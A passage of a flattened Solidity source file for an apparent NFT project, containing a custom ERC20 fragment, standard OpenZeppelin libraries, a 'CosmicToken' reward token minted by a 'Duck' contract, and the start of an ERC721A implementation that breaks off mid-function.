balanceOf[from_] -= amount_;
totalSupply -= amount_;
emit Transfer(from_, address(0x0), amount_);
}
function _approve(address owner_, address spender_, uint256 amount_) internal virtual {
allowance[owner_][spender_] = amount_;
emit Approval(owner_, spender_, amount_);
}
// Public Functions
function approve(address spender_, uint256 amount_) public virtual returns (bool) {
_approve(msg.sender, spender_, amount_);
return true;
}
function transfer(address to_, uint256 amount_) public virtual returns (bool) {
balanceOf[msg.sender] -= amount_;
balanceOf[to_] += amount_;
emit Transfer(msg.sender, to_, amount_);
return true;
}
function transferFrom(address from_, address to_, uint256 amount_) public virtual returns (bool) {
if (allowance[from_][msg.sender] != type(uint256).max) {
allowance[from_][msg.sender] -= amount_; }
balanceOf[from_] -= amount_;
balanceOf[to_] += amount_;
emit Transfer(from_, to_, amount_);
return true;
}
// 0xInuarashi Custom Functions
function multiTransfer(address[] memory to_, uint256[] memory amounts_) public virtual {
require(to_.length == amounts_.length, "ERC20I: To and Amounts length Mismatch!");
for (uint256 i = 0; i < to_.length; i++) {
transfer(to_[i], amounts_[i]);
}
}
function multiTransferFrom(address[] memory from_, address[] memory to_, uint256[] memory amounts_) public virtual {
require(from_.length == to_.length && from_.length == amounts_.length, "ERC20I: From, To, and Amounts length Mismatch!");
for (uint256 i = 0; i < from_.length; i++) {
transferFrom(from_[i], to_[i], amounts_[i]);
}
}
function burn(uint256 amount_) external virtual {
_burn(msg.sender, amount_);
}
function burnFrom(address from_, uint256 amount_) public virtual {
uint256 _currentAllowance = allowance[from_][msg.sender];
require(_currentAllowance >= amount_, "ERC20IBurnable: Burn amount requested exceeds allowance!");
if (allowance[from_][msg.sender] != type(uint256).max) {
allowance[from_][msg.sender] -= amount_; }
_burn(from_, amount_);
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: cosmicToken.sol
pragma solidity 0.8.7;
interface IDuck {
function balanceOG(address _user) external view returns(uint256);
}
contract CosmicToken is ERC20("CosmicUtilityToken", "CUT")
{
using SafeMath for uint256;
uint256 public totalTokensBurned = 0;
address[] internal stakeholders;
address payable private owner;
//token Genesis per day
uint256 constant public GENESIS_RATE = 20 ether;
//token duck per day
uint256 constant public DUCK_RATE = 5 ether;
//token for genesis minting
uint256 constant public GENESIS_ISSUANCE = 280 ether;
//token for duck minting
uint256 constant public DUCK_ISSUANCE = 70 ether;
// Tue Mar 18 2031 17:46:47 GMT+0000
uint256 constant public END = 1931622407;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
IDuck public ducksContract;
constructor(address initDuckContract)
{
owner = payable(msg.sender);
ducksContract = IDuck(initDuckContract);
}
function WhoOwns() public view returns (address) {
return owner;
}
modifier Owned {
require(msg.sender == owner);
_;
}
function getContractAddress() public view returns (address) {
return address(this);
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
modifier contractAddressOnly
{
require(msg.sender == address(ducksContract));
_;
}
// called when minting many NFTs
function updateRewardOnMint(address _user, uint256 _tokenId) external contractAddressOnly
{
if(_tokenId <= 1000)
{
_mint(_user,GENESIS_ISSUANCE);
}
else if(_tokenId >= 1001)
{
_mint(_user,DUCK_ISSUANCE);
}
}
function getReward(address _to, uint256 totalPayout) external contractAddressOnly
{
_mint(_to, (totalPayout * 10 ** 18));
}
function burn(address _from, uint256 _amount) external
{
require(msg.sender == _from, "You do not own these tokens");
_burn(_from, _amount);
totalTokensBurned += _amount;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: ERC721A.sol
// Creators: locationtba.eth, 2pmflow.eth
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
